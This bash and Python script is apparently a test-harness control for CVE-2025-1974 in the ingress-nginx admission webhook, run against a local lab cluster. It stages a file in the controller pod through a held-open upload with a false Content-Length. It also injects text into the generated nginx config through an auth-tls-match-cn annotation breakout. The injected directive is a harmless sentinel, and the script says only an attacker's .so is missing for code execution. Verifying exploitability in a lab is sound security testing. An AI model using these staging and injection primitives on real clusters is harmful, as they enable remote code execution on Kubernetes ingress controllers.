#!/usr/bin/env bash
# Positive control for CVE-2025-1974 -- TWO exploit-independent reference triggers
# that together prove this host supports the full attack chain the exploiter will
# drive, WITHOUT loading any attacker code:
#
#   PART A (staging primitive, timing/substrate adequacy):
#     A held-open, mismatched (over-stated) Content-Length upload to the ingress
#     HTTP listener causes the controller to spool the uploaded bytes into a
#     RESIDENT, content-matching, dlopen-reachable client-body file under the
#     controller pod, reachable from the NGINX config context via path traversal
#     -- and it stays resident across a concurrent webhook request. A held socket
#     alone does NOT satisfy this.
#
#   PART B (webhook render+inject path, the gap the prior control missed):
#     An AdmissionReview carrying an auth-tls-match-cn breakout that injects a
#     BENIGN sentinel directive (NOT an ssl_engine load of attacker code) and
#     references the pre-seeded auth-tls `ca.crt` secret. If the render path is
#     intact, authtls.Parse() resolves the secret, MatchCN renders the injected
#     text into the generated config, and `nginx -t` reaches the sentinel and
#     fails with an "unknown directive <sentinel>" error -> webhook returns
#     allowed:false with the sentinel in its message. If the annotation is
#     silently dropped (e.g. no referenceable secret), the AdmissionReview is
#     allowed:true and the sentinel never appears -> this control FAILS, closing
#     the exact gap that went undetected upstream.
#
# Actor separation: both the upload (PART A) and the AdmissionReview (PART B) are
# sent UNAUTHENTICATED over the network (127.0.0.1:8080 / :8443), exactly as the
# exploit would. Filesystem inspection (PART A) uses the verifier's PRIVILEGED
# channel (kubectl exec) -- not anything the exploit can do. PART B is entirely
# network-observable (it does not need the privileged channel).
#
# NOTE on PART B: the sentinel is a harmless unknown directive, so `nginx -t`
# never dlopens anything and no code executes. PART B proves only that injected
# text RENDERS and REACHES the parser -- the render gate the exploit depends on.
set -uo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
export PATH="$HERE/bin:$PATH"
export KUBECONFIG="${KUBECONFIG:-$HERE/kubeconfig}"
KCTL="kubectl --kubeconfig=$KUBECONFIG"

HTTP_HOST="127.0.0.1"; HTTP_PORT="8080"; VHOST="stage.local"
WEBHOOK="https://127.0.0.1:8443/networking/v1/ingresses"
SECRET_REF="ingress-nginx/ingressnightmare-auth-ca"
HOLD_SECS="${HOLD_SECS:-15}"
SENTINEL="POSCTL-$(date +%s)-$RANDOM-MZSTAGE"
RENDER_SENTINEL="POSCTLRENDER$(date +%s)$RANDOM"
TMPDIR_IN_POD="/tmp/nginx/client-body"

CTRL_POD="$($KCTL -n ingress-nginx get pod -l app.kubernetes.io/component=controller -o jsonpath='{.items[0].metadata.name}' 2>/dev/null)"
if [ -z "$CTRL_POD" ]; then echo "[posctl] FAIL: controller pod not found"; exit 1; fi
echo "[posctl] controller pod: $CTRL_POD"

###############################################################################
# PART A -- staging primitive + substrate adequacy
###############################################################################
echo "[posctl] === PART A: fd/file staging primitive ==="
echo "[posctl] sentinel: $SENTINEL"

# 0. Controller process exists; staged path reachable from nginx config context.
$KCTL -n ingress-nginx exec "$CTRL_POD" -- sh -c '
  CTRL_PID=$(pgrep -x nginx-ingress-c | head -1)
  [ -z "$CTRL_PID" ] && CTRL_PID=$(for d in /proc/[0-9]*; do case "$(cat $d/comm 2>/dev/null)" in nginx-ingress-c) echo ${d#/proc/}; break;; esac; done)
  echo "[posctl]   controller (nginx-ingress) pid=$CTRL_PID  (spawns the nginx -t config-test child)"
  cd /etc/nginx 2>/dev/null && [ -d ../../tmp/nginx/client-body ] \
    && echo "[posctl]   staged path reachable from /etc/nginx via ../../tmp/nginx/client-body  (ssl_engine traversal target)" \
    || { echo "[posctl] FAIL: staged path not reachable from nginx config context"; exit 1; }
' || exit 1

# 1. Held, unauthenticated, mismatched-Content-Length upload (concurrency).
PADDING=$(head -c 65536 /dev/zero | tr '\0' 'A')
PAYLOAD="${SENTINEL}${PADDING}"
DECLARED_LEN=$(( ${#PAYLOAD} + 5000000 ))
echo "[posctl] opening held upload: declared CL=$DECLARED_LEN, sending ${#PAYLOAD} bytes, holding ${HOLD_SECS}s"
python3 - "$HTTP_HOST" "$HTTP_PORT" "$VHOST" "$DECLARED_LEN" "$HOLD_SECS" "$PAYLOAD" <<'PY' &
import socket, sys, time
host, port, vhost, clen, hold, payload = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], int(sys.argv[5]), sys.argv[6].encode()
s = socket.create_connection((host, port), timeout=10)
s.sendall((f"POST / HTTP/1.1\r\nHost: {vhost}\r\nContent-Type: application/octet-stream\r\n"
           f"Content-Length: {clen}\r\nConnection: keep-alive\r\n\r\n").encode())
s.sendall(payload)
s.settimeout(2)
try:
    s.recv(16); print("posctl-uploader: WARNING server responded early", flush=True)
except Exception:
    pass
time.sleep(hold)
try: s.close()
except Exception: pass
PY
UP_PID=$!
sleep 5

# 2. Privileged assertion: a RESIDENT, LOADABLE, content-matching staged file
#    -- while a concurrent webhook request is also in flight (substrate adequacy).
echo "[posctl] firing a concurrent webhook request during the hold window (concurrency check)..."
curl -sk -o /dev/null -X POST -H 'Content-Type: application/json' --data '{}' "$WEBHOOK" &
CURL_PID=$!

echo "[posctl] inspecting controller pod for a resident, loadable staged file..."
RESULT_A="$($KCTL -n ingress-nginx exec "$CTRL_POD" -- sh -c '
TAG="'"$SENTINEL"'"; DIR="'"$TMPDIR_IN_POD"'"; ok=0
for f in "$DIR"/*; do
  [ -f "$f" ] || continue
  sz=$(stat -c %s "$f" 2>/dev/null || echo 0); [ "${sz:-0}" -gt 0 ] || continue
  if head -c 65536 "$f" 2>/dev/null | grep -q "$TAG"; then
    base=$(basename "$f")
    if (cd /etc/nginx && head -c 4096 "../../tmp/nginx/client-body/$base" 2>/dev/null | grep -q "$TAG"); then
      echo "RESIDENT_LOADABLE file=$f size=$sz traversal=../../tmp/nginx/client-body/$base"; ok=1
    fi
  fi
done
[ "$ok" -eq 1 ] && echo "POSCTL_A_OK" || echo "POSCTL_A_NO_LOADABLE_FILE"
' 2>&1)"
echo "$RESULT_A"
wait "$CURL_PID" 2>/dev/null || true
kill "$UP_PID" >/dev/null 2>&1 || true
wait "$UP_PID" 2>/dev/null || true

if printf "%s" "$RESULT_A" | grep -q "POSCTL_A_OK"; then
  echo "[posctl] PART A PASS: resident, loadable, traversal-reachable staged file present during the hold window (concurrent webhook in flight)."
else
  echo "[posctl] PART A FAIL: no resident, loadable, content-matching staged file. ssl_engine would have no real ELF to dlopen."
  exit 1
fi

###############################################################################
# PART B -- webhook render+inject path (end-to-end, exploit-independent)
###############################################################################
echo "[posctl] === PART B: webhook render+inject path ==="
echo "[posctl] render sentinel directive: $RENDER_SENTINEL   secret ref: $SECRET_REF"

AR_JSON="$(python3 - "$SECRET_REF" "$RENDER_SENTINEL" <<'PY'
import json,sys
secret, sentinel = sys.argv[1], sys.argv[2]
# auth-tls-match-cn renders unquoted into: if ( $ssl_client_s_dn !~ <VALUE> ) {...}
# inside server{}. Break out of the if() condition + if-block, then inject a
# BENIGN unknown directive. If it renders, nginx -t fails naming the sentinel.
matchcn = "x ) { }\n%s on;\n#" % sentinel
ar={"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{
  "uid":"posctl-render","operation":"CREATE",
  "kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},
  "resource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},
  "namespace":"ingress-nginx","name":"posctl-render",
  "object":{"apiVersion":"networking.k8s.io/v1","kind":"Ingress",
    "metadata":{"name":"posctl-render","namespace":"ingress-nginx","annotations":{
      "nginx.ingress.kubernetes.io/auth-tls-secret":secret,
      "nginx.ingress.kubernetes.io/auth-tls-verify-client":"on",
      "nginx.ingress.kubernetes.io/auth-tls-match-cn":matchcn}},
    "spec":{"ingressClassName":"nginx","rules":[{"host":"posctl-render.local","http":{"paths":[
      {"path":"/","pathType":"Prefix","backend":{"service":{"name":"stage-backend","port":{"number":80}}}}]}}]}}}}
print(json.dumps(ar))
PY
)"

RESP="$(curl -sk -X POST -H 'Content-Type: application/json' --data "$AR_JSON" "$WEBHOOK")"
VERDICT="$(printf '%s' "$RESP" | python3 -c '
import sys,json
try:
    r=json.loads(sys.stdin.read(),strict=False)["response"]
except Exception as e:
    print("PARSE_ERR"); sys.exit(0)
allowed=r.get("allowed")
msg=r.get("status",{}).get("message","")
sentinel="'"$RENDER_SENTINEL"'"
if allowed is False and sentinel in msg:
    print("RENDER_OK")
elif allowed is True:
    print("RENDER_DROPPED")
else:
    print("RENDER_UNKNOWN allowed=%s" % allowed)
')"
echo "[posctl] webhook verdict: $VERDICT"

case "$VERDICT" in
  RENDER_OK)
    echo "[posctl] PART B PASS: the injected auth-tls-match-cn text RENDERED into the"
    echo "[posctl]   generated config and REACHED nginx -t (it failed naming the sentinel"
    echo "[posctl]   directive). The seeded ca.crt secret resolves and the ssl_engine"
    echo "[posctl]   injection vector is open. No attacker code was loaded by this control."
    ;;
  RENDER_DROPPED)
    echo "[posctl] PART B FAIL: webhook returned allowed:true and the sentinel directive"
    echo "[posctl]   never reached nginx -t -> the auth-tls-match-cn value was SILENTLY"
    echo "[posctl]   DROPPED (authtls.Parse() returned empty). The render gate is closed;"
    echo "[posctl]   the ssl_engine injection would never fire. (Is the ca.crt secret"
    echo "[posctl]   $SECRET_REF present and valid?)"
    exit 1
    ;;
  *)
    echo "[posctl] PART B FAIL: unexpected webhook response ($VERDICT). Raw (truncated):"
    printf '%s\n' "$RESP" | head -c 600
    exit 1
    ;;
esac

echo "[posctl] ALL PASS: staging primitive winnable AND the webhook render+inject path is open."
echo "[posctl]   The full chain (stage -> render -> ssl_engine dlopen -> code exec) is"
echo "[posctl]   supported on this host. The exploiter supplies the attacker .so + nonce."
exit 0
